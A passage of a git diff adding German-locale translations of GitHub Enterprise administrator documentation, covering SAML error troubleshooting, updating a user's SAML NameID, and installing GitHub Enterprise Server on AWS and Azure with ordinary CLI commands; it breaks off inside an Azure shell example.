+In der Nachricht wird in der Regel angegeben, dass sich der Benutzername oder die E-Mail-Adresse der Person beim IdP geändert hat. Vergewissere dich, dass die `NameID`-Zuordnung für das Benutzerkonto in {% data variables.product.prodname_ghe_server %} der `NameID` des Benutzers beim IdP entspricht. Weitere Informationen findest du unter [Aktualisieren der SAML-`NameID` eines Benutzers](/admin/identity-and-access-management/using-saml-for-enterprise-iam/updating-a-users-saml-nameid).
+
+## Wenn die SAML-Antwort nicht signiert ist oder die Signatur nicht mit dem Inhalt übereinstimmt, wird im Authentifizierungsprotokoll die folgende Fehlermeldung angezeigt:
+
+Wenn der `Recipient` nicht mit der ACS-URL für {% data variables.location.product_location %} übereinstimmt, wird eine der folgenden beiden Fehlermeldungen im Authentifizierungsprotokoll angezeigt, wenn ein Benutzer versucht, sich zu authentifizieren.
+
+```
+Recipient in the SAML response must not be blank.
+```
+
+```
+Recipient in the SAML response was not valid.
+```
+
+Vergewissere dich, dass du den Wert für `Recipient` beim IdP auf die vollständige ACS-URL für {% data variables.location.product_location %} festlegst. Beispiel: `https://ghe.corp.example.com/saml/consume`.
+
+## Fehler: „SAML Response is not signed or has been modified“ (SAML-Antwort ist nicht signiert oder wurde geändert)
+
+Wenn der IdP die SAML-Antwort nicht signiert oder die Signatur nicht mit dem Inhalt übereinstimmt, wird die folgende Fehlermeldung im Authentifizierungsprotokoll angezeigt.
+
+```
+SAML Response is not signed or has been modified.
+```
+
+Konfiguriere die signierten Assertionen für die {% data variables.product.product_name %}-Anwendung bei deinem IdP.
+
+## Fehler: „Audience is invalid“ (Zielgruppe ist ungültig) oder „No assertion found“ (Keine Assertion gefunden)
+
+Wenn die Antwort des IdP einen fehlenden oder falschen Wert für `Audience` aufweist, wird die folgende Fehlermeldung im Authentifizierungsprotokoll angezeigt.
+
+```
+Audience is invalid. Audience attribute does not match https://<em>YOUR-INSTANCE-URL</em>
+```
+
+Lege den Wert für `Audience` bei deinem IdP auf die `EntityId` für {% data variables.location.product_location %} fest. Dabei handelt es sich um die vollständige URL zu deiner Instanz. Beispiel: `https://ghe.corp.example.com`.
+{% endif %}
+
+{% data reusables.saml.current-time-earlier-than-notbefore-condition %}
+
+{% ifversion ghec %} {% data reusables.saml.authentication-loop %} {% endif %}
diff --git a/translations/de-DE/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/updating-a-users-saml-nameid.md b/translations/de-DE/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/updating-a-users-saml-nameid.md
new file mode 100644
index 0000000000..65bdad9b8c
--- /dev/null
+++ b/translations/de-DE/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/updating-a-users-saml-nameid.md
@@ -0,0 +1,35 @@
+---
+title: Updating a user's SAML NameID
+shortTitle: Update SAML NameID
+intro: 'When an account''s `NameID` changes on your identity provider (IdP) and the person can no longer {% ifversion ghes or ghae %}sign into {% data variables.location.product_location %}{% elsif ghec %}authenticate to access your enterprise''s resources{% endif %}, you must {% ifversion ghec %}either contact {% data variables.product.company_short %} Support or revoke the person''s linked identity{% elsif ghes %}update the `NameID` mapping on {% data variables.location.product_location %}{% elsif ghae %}contact {% data variables.product.company_short %} Support{% endif %}.'
+versions:
+  ghes: '*'
+type: how_to
+topics:
+  - Accounts
+  - Authentication
+  - Enterprise
+  - Identity
+  - SSO
+---
+
+## About updates to users' SAML `NameID`
+
+In some situations, you may need to update values associated with a person's account on your SAML IdP. If that identifier is also the `NameID` that you use for authentication on {% data variables.product.product_name %}, you must update the `NameID` mapping on your instance so the person can continue to authenticate successfully. For more information, see "[Username considerations for external authentication](/admin/identity-and-access-management/managing-iam-for-your-enterprise/username-considerations-for-external-authentication)."
+
+## Updating a user's SAML `NameID`
+
+Enterprise owners can update a user's SAML `NameID` on a {% data variables.product.product_name %} instance.
+
+{% data reusables.enterprise_site_admin_settings.access-settings %}
+2. In the left sidebar, click **All users**.
+  !["All users" sidebar item in site administrator settings](/assets/images/enterprise/site-admin-settings/all-users.png)
+3. In the list of users, click the username you'd like to update the `NameID` mapping for.
+  ![Username in list of instance user accounts](/assets/images/enterprise/site-admin-settings/all-users-click-username.png)
+{% data reusables.enterprise_site_admin_settings.security-tab %}
+5. To the right of "Update SAML NameID", click **Edit** .
+  !["Edit" button under "SAML authentication" and to the right of "Update SAML NameID"](/assets/images/enterprise/site-admin-settings/update-saml-nameid-edit.png)
+6. In the "NameID" field, type the new `NameID` for the user.
+  !["NameID" field in modal dialog with NameID typed](/assets/images/enterprise/site-admin-settings/update-saml-nameid-field-in-modal.png)
+7. Click **Update NameID**.
+  !["Update NameID" button under updated NameID value within modal](/assets/images/enterprise/site-admin-settings/update-saml-nameid-update.png)
diff --git a/translations/de-DE/content/admin/index.md b/translations/de-DE/content/admin/index.md
new file mode 100644
index 0000000000..73df622234
--- /dev/null
+++ b/translations/de-DE/content/admin/index.md
@@ -0,0 +1,135 @@
+---
+title: Dokumentation für Enterprise-Administratoren
+shortTitle: Enterprise administrators
+intro: 'Dokumentation und Anleitungen für Unternehmensadministratoren{% ifversion ghes %}, Systemadministratoren,{% endif %} und Sicherheitsexperten, die {% ifversion ghes %}bereitstellen, {% endif %}konfigurieren{% ifversion ghes %},{% endif %} und verwalten {% data variables.product.product_name %}.'
+redirect_from:
+  - /github/setting-up-and-managing-your-enterprise/managing-your-enterprise-account
+  - /github/setting-up-and-managing-your-enterprise
+  - /github/installing-and-configuring-github-insights/exploring-your-usage-of-github-enterprise
+  - /github/installing-and-configuring-github-insights/metrics-available-with-github-insights
+  - /github/installing-and-configuring-github-insights/key-metrics-for-collaboration-in-pull-requests
+  - /github/installing-and-configuring-github-insights/viewing-and-filtering-key-metrics-and-reports
+  - /github/installing-and-configuring-github-insights/github-insights-and-data-protection-for-your-organization
+  - /github/site-policy/github-insights-and-data-protection-for-your-organization
+  - /insights/installing-and-configuring-github-insights/configuring-the-connection-between-github-insights-and-github-enterprise
+  - /github/installing-and-configuring-github-insights/navigating-between-github-insights-and-github-enterprise
+  - /github/installing-and-configuring-github-insights/enabling-a-link-between-github-insights-and-github-enterprise
+  - /insights/installing-and-configuring-github-insights/enabling-a-link-between-github-insights-and-github-enterprise
+  - /insights/installing-and-configuring-github-insights/managing-permissions-in-github-insights
+  - /github/installing-and-configuring-github-insights/about-github-insights
+  - /insights/installing-and-configuring-github-insights/about-github-insights
+  - /github/installing-and-configuring-github-insights/installing-github-insights
+  - /insights/installing-and-configuring-github-insights/installing-github-insights
+  - /github/installing-and-configuring-github-insights/system-overview-for-github-insights
+  - /insights/installing-and-configuring-github-insights/system-overview-for-github-insights
+  - /github/installing-and-configuring-github-insights/updating-github-insights
+  - /insights/installing-and-configuring-github-insights/updating-github-insights
+  - /insights/installing-and-configuring-github-insights/about-data-in-github-insights
+  - /github/installing-and-configuring-github-insights/managing-data-in-github-insights
+  - /github/installing-and-configuring-github-insights/managing-settings-in-github-insights
+  - /insights/installing-and-configuring-github-insights/managing-available-metrics-and-reports
+  - /github/installing-and-configuring-github-insights/managing-contributors-and-teams
+  - /insights/installing-and-configuring-github-insights/managing-contributors-and-teams
+  - /github/installing-and-configuring-github-insights/creating-and-managing-events
+  - /insights/installing-and-configuring-github-insights/managing-events
+  - /github/installing-and-configuring-github-insights/creating-and-managing-goals
+  - /insights/installing-and-configuring-github-insights/managing-goals
+  - /github/installing-and-configuring-github-insights/managing-organizations
+  - /insights/installing-and-configuring-github-insights/managing-organizations
+  - /github/installing-and-configuring-github-insights/managing-repositories
+  - /insights/installing-and-configuring-github-insights/managing-repositories
+  - /insights/exploring-your-usage-of-github-enterprise
+  - /insights/exploring-your-usage-of-github-enterprise/metrics-available-with-github-insights
+  - /insights/exploring-your-usage-of-github-enterprise/navigating-between-github-enterprise-and-github-insights
+  - /insights/exploring-your-usage-of-github-enterprise/setting-your-timezone-for-github-insights
+  - /insights/exploring-your-usage-of-github-enterprise/viewing-key-metrics-and-reports
+  - /insights
+  - /insights/installing-and-configuring-github-insights/configuring-github-insights/configuring-the-connection-between-github-insights-and-github-enterprise
+  - /insights/installing-and-configuring-github-insights/configuring-github-insights/enabling-a-link-between-github-insights-and-github-enterprise
+  - /insights/installing-and-configuring-github-insights/configuring-github-insights
+  - /insights/installing-and-configuring-github-insights/configuring-github-insights/managing-permissions-in-github-insights
+  - /insights/installing-and-configuring-github-insights
+  - /insights/installing-and-configuring-github-insights/installing-and-updating-github-insights/about-github-insights
+  - /insights/installing-and-configuring-github-insights/installing-and-updating-github-insights
+  - /insights/installing-and-configuring-github-insights/installing-and-updating-github-insights/installing-github-insights
+  - /insights/installing-and-configuring-github-insights/installing-and-updating-github-insights/system-overview-for-github-insights
+  - /insights/installing-and-configuring-github-insights/installing-and-updating-github-insights/updating-github-insights
+  - /insights/installing-and-configuring-github-insights/managing-data-in-github-insights/about-data-in-github-insights
+  - /insights/installing-and-configuring-github-insights/managing-data-in-github-insights
+  - /insights/installing-and-configuring-github-insights/managing-data-in-github-insights/managing-available-metrics-and-reports
+  - /insights/installing-and-configuring-github-insights/managing-data-in-github-insights/managing-contributors-and-teams
+  - /insights/installing-and-configuring-github-insights/managing-data-in-github-insights/managing-events
+  - /insights/installing-and-configuring-github-insights/managing-data-in-github-insights/managing-goals
+  - /insights/installing-and-configuring-github-insights/managing-data-in-github-insights/managing-organizations
+  - /insights/installing-and-configuring-github-insights/managing-data-in-github-insights/managing-repositories
+  - /admin/configuration/configuring-your-enterprise/configuring-data-encryption-for-your-enterprise
+introLinks:
+  overview: '{% ifversion ghes %}/admin/overview/about-github-enterprise-server{% elsif ghae %}/admin/overview/about-github-ae{% elsif ghec %}/admin/overview/about-enterprise-accounts{% endif %}'
+  Releases: '{% ifversion ghes %}/admin/all-releases{% endif %}'
+changelog:
+  label: enterprise
+featuredLinks:
+  guides:
+    - '{% ifversion ghae %}/admin/user-management/auditing-users-across-your-enterprise{% endif %}'
+    - /admin/identity-and-access-management/managing-iam-for-your-enterprise/about-authentication-for-your-enterprise
+    - /admin/policies/enforcing-policies-for-your-enterprise/about-enterprise-policies
+    - '{% ifversion ghae %}/admin/configuration/restricting-network-traffic-to-your-enterprise{% endif %}'
+    - '{% ifversion ghes %}/admin/configuration/configuring-backups-on-your-appliance{% endif %}'
+    - '{% ifversion ghes %}/admin/enterprise-management/creating-a-high-availability-replica{% endif %}'
+    - '{% ifversion ghes %}/admin/overview/about-upgrades-to-new-releases{% endif %}'
+    - '{% ifversion ghec %}/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise{% endif %}'
+    - '{% ifversion ghec %}/admin/user-management/managing-organizations-in-your-enterprise/adding-organizations-to-your-enterprise{% endif %}'
+  guideCards:
+    - '{% ifversion ghes > 2.22 %} /admin/github-actions/getting-started-with-github-actions-for-github-enterprise-server {% elsif ghes < 3.0 %} /admin/enterprise-management/upgrading-github-enterprise-server {% endif %}'
+    - '{% ifversion ghes > 2.22 %} /admin/packages/getting-started-with-github-packages-for-your-enterprise {% elsif ghes < 3.0 %} /admin/user-management/customizing-user-messages-for-your-enterprise {% endif %}'
+    - '{% ifversion ghes > 2.22 %} /admin/configuration/configuring-advanced-security-features {% elsif ghes < 3.0 %} /admin/installation/setting-up-a-staging-instance {% endif %}'
+    - '{% ifversion ghae %}/admin/configuration/initializing-github-ae{% endif %}'
+    - '{% ifversion ghae %}/admin/user-management/customizing-user-messages-for-your-enterprise{% endif %}'
+    - '{% ifversion ghae %}/admin/github-actions/getting-started-with-github-actions-for-github-ae{% endif %}'
+    - '{% ifversion ghec %}/admin/policies/enforcing-policies-for-your-enterprise/enforcing-github-actions-policies-for-your-enterprise{% endif %}'
+    - '{% ifversion ghec %}/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-advanced-security-in-your-enterprise{% endif %}'
+    - '{% ifversion ghec %}/admin/policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise{% endif %}'
+  popular:
+    - /admin/overview/about-github-enterprise-server
+    - '{% ifversion ghae %}/admin/release-notes{% endif %}'
+    - '{% ifversion ghes %}/github/getting-started-with-github/setting-up-a-trial-of-github-enterprise-server{% endif %}'
+    - '{% ifversion ghes %}/admin/installation{% endif %}'
+    - '{% ifversion ghae %}/admin/identity-and-access-management/configuring-authentication-and-provisioning-for-your-enterprise-using-azure-ad{% endif %}'
+    - '{% ifversion ghae %}/billing/managing-billing-for-your-github-account/about-billing-for-your-enterprise{% endif %}'
+    - '{% ifversion ghae %}/admin/overview/about-upgrades-to-new-releases{% endif %}'
+    - '{% ifversion ghae %}/admin/configuration/configuring-your-enterprise/deploying-github-ae{% endif %}'
+    - '{% ifversion ghes %}/billing/managing-your-license-for-github-enterprise{% endif %}'
+    - /admin/configuration/command-line-utilities
+    - '{% ifversion ghec %}/admin/configuration/configuring-your-enterprise/verifying-or-approving-a-domain-for-your-enterprise{% endif %}'
+    - '{% ifversion ghec %}/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/about-the-audit-log-for-your-enterprise{% endif %}'
+    - '{% ifversion ghec %}/admin/monitoring-activity-in-your-enterprise/exploring-user-activity/managing-global-webhooks{% endif %}'
+    - /billing/managing-your-license-for-github-enterprise/using-visual-studio-subscription-with-github-enterprise/setting-up-visual-studio-subscription-with-github-enterprise
+    - /admin/enterprise-support/about-github-enterprise-support
+layout: product-landing
+versions:
+  ghec: '*'
+  ghes: '*'
+  ghae: '*'
+children:
+  - /overview
+  - /installation
+  - /configuration
+  - /identity-and-access-management
+  - /user-management
+  - /policies
+  - /monitoring-activity-in-your-enterprise
+  - /enterprise-management
+  - /github-actions
+  - /packages
+  - /code-security
+  - /guides
+  - /release-notes
+  - /all-releases
+ms.openlocfilehash: 3980ad01e56bf1e38dd6473c5e5246c6d45350eb
+ms.sourcegitcommit: 3268914369fb29540e4d88ee5e56bc7a41f2a60e
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/26/2022
+ms.locfileid: '148111314'
+---
+
diff --git a/translations/de-DE/content/admin/installation/index.md b/translations/de-DE/content/admin/installation/index.md
new file mode 100644
index 0000000000..87eebb9f41
--- /dev/null
+++ b/translations/de-DE/content/admin/installation/index.md
@@ -0,0 +1,32 @@
+---
+title: 'Installieren von {% data variables.product.prodname_enterprise %}'
+shortTitle: Installing
+intro: 'Systemadministrator*innen und Betriebs- und Sicherheitsspezialist*innen können {% data variables.product.prodname_ghe_server %} installieren.'
+redirect_from:
+  - /enterprise/admin-guide
+  - /enterprise/admin/guides/installation
+  - /enterprise/admin/categories/customization
+  - /enterprise/admin/categories/general
+  - /enterprise/admin/categories/logging-and-monitoring
+  - /enterprise/admin/installation
+versions:
+  ghes: '*'
+type: how_to
+topics:
+  - Enterprise
+  - Fundamentals
+  - Set up
+children:
+  - /setting-up-a-github-enterprise-server-instance
+ms.openlocfilehash: 3c68586dada3fc76733611ad7a05d4119102736e
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145102895'
+---
+Weitere Informationen, auch zum Kauf von {% data variables.product.prodname_enterprise %}, findest du unter [{% data variables.product.prodname_enterprise %}](https://github.com/enterprise).
+
+{% data reusables.enterprise_installation.request-a-trial %}
+
+Wenn du Fragen zum Installationsvorgang hast, lies "[Arbeiten mit {% data variables.product.prodname_enterprise %}-Support](/enterprise/admin/guides/enterprise-support/)".
diff --git a/translations/de-DE/content/admin/installation/setting-up-a-github-enterprise-server-instance/index.md b/translations/de-DE/content/admin/installation/setting-up-a-github-enterprise-server-instance/index.md
new file mode 100644
index 0000000000..116138a339
--- /dev/null
+++ b/translations/de-DE/content/admin/installation/setting-up-a-github-enterprise-server-instance/index.md
@@ -0,0 +1,30 @@
+---
+title: GitHub Enterprise Server-Instanz einrichten
+intro: 'Du kannst {% data variables.product.prodname_ghe_server %} auf der unterstützten Virtualisierungsplattform Deiner Wahl installieren.'
+redirect_from:
+  - /enterprise/admin/installation/getting-started-with-github-enterprise-server
+  - /enterprise/admin/guides/installation/supported-platforms
+  - /enterprise/admin/guides/installation/provisioning-and-installation
+  - /enterprise/admin/guides/installation/setting-up-a-github-enterprise-instance
+  - /enterprise/admin/installation/setting-up-a-github-enterprise-server-instance
+versions:
+  ghes: '*'
+topics:
+  - Enterprise
+children:
+  - /installing-github-enterprise-server-on-aws
+  - /installing-github-enterprise-server-on-azure
+  - /installing-github-enterprise-server-on-google-cloud-platform
+  - /installing-github-enterprise-server-on-hyper-v
+  - /installing-github-enterprise-server-on-openstack-kvm
+  - /installing-github-enterprise-server-on-vmware
+  - /setting-up-a-staging-instance
+shortTitle: Set up an instance
+ms.openlocfilehash: 7c23ae31e8e976f2acc664f87fbff82ffe025a0e
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148108415'
+---
+
diff --git a/translations/de-DE/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-aws.md b/translations/de-DE/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-aws.md
new file mode 100644
index 0000000000..e45d5484e8
--- /dev/null
+++ b/translations/de-DE/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-aws.md
@@ -0,0 +1,146 @@
+---
+title: Installing GitHub Enterprise Server on AWS
+intro: 'To install {% data variables.product.prodname_ghe_server %} on Amazon Web Services (AWS), you must launch an Amazon Elastic Compute Cloud (EC2) instance and create and attach a separate Amazon Elastic Block Store (EBS) data volume.'
+redirect_from:
+  - /enterprise/admin/guides/installation/installing-github-enterprise-on-aws
+  - /enterprise/admin/installation/installing-github-enterprise-server-on-aws
+  - /admin/installation/installing-github-enterprise-server-on-aws
+versions:
+  ghes: '*'
+type: tutorial
+topics:
+  - Administrator
+  - Enterprise
+  - Infrastructure
+  - Set up
+shortTitle: Install on AWS
+---
+## Prerequisites
+
+- {% data reusables.enterprise_installation.software-license %}
+- You must have an AWS account capable of launching EC2 instances and creating EBS volumes. For more information, see the [Amazon Web Services website](https://aws.amazon.com/).
+- Most actions needed to launch {% data variables.location.product_location %} may also be performed using the AWS management console. However, we recommend installing the AWS command line interface (CLI) for initial setup. Examples using the AWS CLI are included below. For more information, see Amazon's guides "[Working with the AWS Management Console](http://docs.aws.amazon.com/awsconsolehelpdocs/latest/gsg/getting-started.html)" and "[What is the AWS Command Line Interface](http://docs.aws.amazon.com/cli/latest/userguide/cli-chap-welcome.html)."
+
+{% note %}
+
+**Note:** At this time {% data variables.product.prodname_ghe_server %} does not support the use of the Amazon IDMSv2 Metadata API.
+
+{% endnote %}
+
+This guide assumes you are familiar with the following AWS concepts:
+
+ - [Launching EC2 Instances](http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/LaunchingAndUsingInstances.html)
+ - [Managing EBS Volumes](http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/AmazonEBS.html)
+ - [Using Security Groups](http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-network-security.html) (For managing network access to your instance)
+ - [Elastic IP Addresses (EIP)](http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/elastic-ip-addresses-eip.html) (Strongly recommended for production environments)
+ - [EC2 and Virtual Private Cloud](http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-vpc.html) (If you plan to launch into a Virtual Private Cloud)
+ - [AWS Pricing](https://aws.amazon.com/pricing/) (For calculating and managing costs)
+
+For an architectural overview, see the "[AWS Architecture Diagram for Deploying GitHub Enterprise Server](/assets/images/installing-github-enterprise-server-on-aws.png)". 
+
+This guide recommends the principle of least privilege when setting up {% data variables.location.product_location %} on AWS. For more information, refer to the [AWS Identity and Access Management (IAM) documentation](https://docs.aws.amazon.com/IAM/latest/UserGuide/best-practices.html#grant-least-privilege).
+
+## Hardware considerations
+
+{% data reusables.enterprise_installation.hardware-considerations-all-platforms %}
+
+## Determining the instance type
+
+Before launching {% data variables.location.product_location %} on AWS, you'll need to determine the machine type that best fits the needs of your organization. To review the minimum requirements for {% data variables.product.product_name %}, see "[Minimum requirements](#minimum-requirements)."
+
+{% data reusables.enterprise_installation.warning-on-scaling %}
+
+{% data reusables.enterprise_installation.aws-instance-recommendation %}
+
+## Selecting the {% data variables.product.prodname_ghe_server %} AMI
+
+You can select an Amazon Machine Image (AMI) for {% data variables.product.prodname_ghe_server %} using the {% data variables.product.prodname_ghe_server %} portal or the AWS CLI.
+
+AMIs for {% data variables.product.prodname_ghe_server %} are available in the AWS GovCloud (US-East and US-West) region. This allows US customers with specific regulatory requirements to run {% data variables.product.prodname_ghe_server %} in a federally compliant cloud environment. For more information on AWS's compliance with federal and other standards, see [AWS's GovCloud (US) page](http://aws.amazon.com/govcloud-us/) and [AWS's compliance page](https://aws.amazon.com/compliance/).
+
+### Using the {% data variables.product.prodname_ghe_server %} portal to select an AMI
+
+{% data reusables.enterprise_installation.download-appliance %}
+3. Under "{% data variables.product.prodname_dotcom %} in the Cloud", select the "Select your platform" dropdown menu, and click **Amazon Web Services**.
+4. Select the "Select your AWS region" drop-down menu, and click your desired region.
+5. Take note of the AMI ID that is displayed.
+
+### Using the AWS CLI to select an AMI
+
+1. Using the AWS CLI, get a list of {% data variables.product.prodname_ghe_server %} images published by {% data variables.product.prodname_dotcom %}'s AWS owner IDs (`025577942450` for GovCloud, and `895557238572` for other regions). For more information, see "[describe-images](http://docs.aws.amazon.com/cli/latest/reference/ec2/describe-images.html)" in the AWS documentation.
+  ```shell
+  aws ec2 describe-images \
+  --owners OWNER_ID \
+  --query 'sort_by(Images,&Name)[*].{Name:Name,ImageID:ImageId}' \
+  --output=text
+  ```
+2. Take note of the AMI ID for the latest {% data variables.product.prodname_ghe_server %} image.
+
+## Creating a security group
+
+If you're setting up your AMI for the first time, you will need to create a security group and add a new security group rule for each port in the table below. For more information, see the AWS guide "[Using Security Groups](http://docs.aws.amazon.com/cli/latest/userguide/cli-ec2-sg.html)."
+
+1. Using the AWS CLI, create a new security group. For more information, see "[create-security-group](http://docs.aws.amazon.com/cli/latest/reference/ec2/create-security-group.html)" in the AWS documentation.
+  ```shell
+  $ aws ec2 create-security-group --group-name SECURITY_GROUP_NAME --description "SECURITY GROUP DESCRIPTION"
+  ```
+
+2. Take note of the security group ID (`sg-xxxxxxxx`) of your newly created security group.
+
+3. Create a security group rule for each of the ports in the table below. For more information, see "[authorize-security-group-ingress](http://docs.aws.amazon.com/cli/latest/reference/ec2/authorize-security-group-ingress.html)" in the AWS documentation.
+  ```shell
+  $ aws ec2 authorize-security-group-ingress --group-id SECURITY_GROUP_ID --protocol PROTOCOL --port PORT_NUMBER --cidr SOURCE IP RANGE
+  ```
+  This table identifies what each port is used for.
+
+  {% data reusables.enterprise_installation.necessary_ports %}
+
+## Creating the {% data variables.product.prodname_ghe_server %} instance
+
+To create the instance, you'll need to launch an EC2 instance with your {% data variables.product.prodname_ghe_server %} AMI and attach an additional storage volume for your instance data. For more information, see "[Hardware considerations](#hardware-considerations)."
+
+{% note %}
+
+**Note:** You can encrypt the data disk to gain an extra level of security and ensure that any data you write to your instance is protected. There is a slight performance impact when using encrypted disks. If you decide to encrypt your volume, we strongly recommend doing so **before** starting your instance for the first time.
+ For more information, see the [Amazon guide on EBS encryption](http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html).
+
+{% endnote %}
+
+{% warning %}
+
+**Warning:** If you decide to enable encryption after you've configured your instance, you will need to migrate your data to the encrypted volume, which will incur some downtime for your users.
+
+{% endwarning %}
+
+### Launching an EC2 instance
+
+In the AWS CLI, launch an EC2 instance using your AMI and the security group you created. Attach a new block device to use as a storage volume for your instance data, and configure the size based on your user license count. For more information, see "[run-instances](http://docs.aws.amazon.com/cli/latest/reference/ec2/run-instances.html)" in the AWS documentation.
+
+```shell
+aws ec2 run-instances \
+  --security-group-ids SECURITY_GROUP_ID \
+  --instance-type INSTANCE_TYPE \
+  --image-id AMI_ID \
+  --block-device-mappings '[{"DeviceName":"/dev/xvdf","Ebs":{"VolumeSize":SIZE,"VolumeType":"TYPE"}}]' \
+  --region REGION \
+  --ebs-optimized
+```
+
+### Allocating an Elastic IP and associating it with the instance
+
+If this is a production instance, we strongly recommend allocating an Elastic IP (EIP) and associating it with the instance before proceeding to {% data variables.product.prodname_ghe_server %} configuration. Otherwise, the public IP address of the instance will not be retained after instance restarts. For more information, see "[Allocating an Elastic IP Address](http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/elastic-ip-addresses-eip.html#using-instance-addressing-eips-allocating)" and "[Associating an Elastic IP Address with a Running Instance](http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/elastic-ip-addresses-eip.html#using-instance-addressing-eips-associating)" in the Amazon documentation.  
+
+Both primary and replica instances should be assigned separate EIPs in production High Availability configurations. For more information, see "[Configuring {% data variables.product.prodname_ghe_server %} for High Availability](/enterprise/admin/guides/installation/configuring-github-enterprise-server-for-high-availability/)."
+
+## Configuring the {% data variables.product.prodname_ghe_server %} instance
+
+{% data reusables.enterprise_installation.copy-the-vm-public-dns-name %}
+{% data reusables.enterprise_installation.upload-a-license-file %}
+{% data reusables.enterprise_installation.save-settings-in-web-based-mgmt-console %} For more information, see "[Configuring the {% data variables.product.prodname_ghe_server %} appliance](/enterprise/admin/guides/installation/configuring-the-github-enterprise-server-appliance)."
+{% data reusables.enterprise_installation.instance-will-restart-automatically %}
+{% data reusables.enterprise_installation.visit-your-instance %}
+
+## Further reading
+
+- "[System overview](/enterprise/admin/guides/installation/system-overview)"{% ifversion ghes %}
+- "[About upgrades to new releases](/admin/overview/about-upgrades-to-new-releases)"{% endif %}
diff --git a/translations/de-DE/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-azure.md b/translations/de-DE/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-azure.md
new file mode 100644
index 0000000000..e520b46d14
--- /dev/null
+++ b/translations/de-DE/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-azure.md
@@ -0,0 +1,113 @@
+---
+title: Installing GitHub Enterprise Server on Azure
+intro: 'To install {% data variables.product.prodname_ghe_server %} on Azure, you must deploy onto a memory-optimized instance that supports premium storage.'
+redirect_from:
+  - /enterprise/admin/guides/installation/installing-github-enterprise-on-azure
+  - /enterprise/admin/installation/installing-github-enterprise-server-on-azure
+  - /admin/installation/installing-github-enterprise-server-on-azure
+versions:
+  ghes: '*'
+type: tutorial
+topics:
+  - Administrator
+  - Enterprise
+  - Infrastructure
+  - Set up
+shortTitle: Install on Azure
+---
+You can deploy {% data variables.product.prodname_ghe_server %} on global Azure or Azure Government.
+
+## Prerequisites
+
+- {% data reusables.enterprise_installation.software-license %}
+- You must have an Azure account capable of provisioning new machines. For more information, see the [Microsoft Azure website](https://azure.microsoft.com).
+- Most actions needed to launch your virtual machine (VM) may also be performed using the Azure Portal. However, we recommend installing the Azure command line interface (CLI) for initial setup. Examples using the Azure CLI 2.0 are included below. For more information, see Azure's guide "[Install Azure CLI 2.0](https://docs.microsoft.com/cli/azure/install-azure-cli?view=azure-cli-latest)."
+
+## Hardware considerations
+
+{% data reusables.enterprise_installation.hardware-considerations-all-platforms %}
+
+## Determining the virtual machine type
+
+Before launching {% data variables.location.product_location %} on Azure, you'll need to determine the machine type that best fits the needs of your organization. For more information about memory optimized machines, see "[Memory optimized virtual machine sizes](https://docs.microsoft.com/en-gb/azure/virtual-machines/sizes-memory)" in the Microsoft Azure documentation. To review the minimum resource requirements for {% data variables.product.product_name %}, see "[Minimum requirements](#minimum-requirements)."
+
+
+{% data reusables.enterprise_installation.warning-on-scaling %}
+
+{% data reusables.enterprise_installation.azure-instance-recommendation %}
+
+## Creating the {% data variables.product.prodname_ghe_server %} virtual machine
+
+{% data reusables.enterprise_installation.create-ghe-instance %}
+
+1. Find the most recent {% data variables.product.prodname_ghe_server %} appliance image. For more information about the `vm image list` command, see "[`az vm image list`](https://docs.microsoft.com/cli/azure/vm/image?view=azure-cli-latest#az_vm_image_list)" in the Microsoft documentation.
+  ```shell
+  $ az vm image list --all -f GitHub-Enterprise | grep '"urn":' | sort -V
+  ```
+
+2. Create a new VM using the appliance image you found. For more information, see "[`az vm create`](https://docs.microsoft.com/cli/azure/vm?view=azure-cli-latest#az_vm_create)" in the Microsoft documentation.
+
+  Pass in options for the name of your VM, the resource group, the size of your VM, the name of your preferred Azure region, the name of the appliance image VM you listed in the previous step, and the storage SKU for premium storage. For more information about resource groups, see "[Resource groups](https://docs.microsoft.com/azure/azure-resource-manager/resource-group-overview#resource-groups)" in the Microsoft documentation.
+
+  ```shell
+  $ az vm create -n VM_NAME -g RESOURCE_GROUP --size VM_SIZE -l REGION --image APPLIANCE_IMAGE_NAME --storage-sku Premium_LRS
+  ```
+
+3. Configure the security settings on your VM to open up required ports. For more information, see "[`az vm open-port`](https://docs.microsoft.com/cli/azure/vm?view=azure-cli-latest#az_vm_open_port)" in the Microsoft documentation. See the table below for a description of each port to determine what ports you need to open.
+
+  ```shell
+  $ az vm open-port -n VM_NAME -g RESOURCE_GROUP --port PORT_NUMBER
+  ```
+
+  This table identifies what each port is used for.
+
+  {% data reusables.enterprise_installation.necessary_ports %}
+
+4. Create and attach a new unencrypted data disk to the VM, and configure the size based on your user license count. For more information, see "[`az vm disk attach`](https://docs.microsoft.com/cli/azure/vm/disk?view=azure-cli-latest#az_vm_disk_attach)" in the Microsoft documentation.
+
+  Pass in options for the name of your VM (for example, `ghe-acme-corp`), the resource group, the premium storage SKU, the size of the disk (for example, `200`), and a name for the resulting VHD.
+
+  ```shell
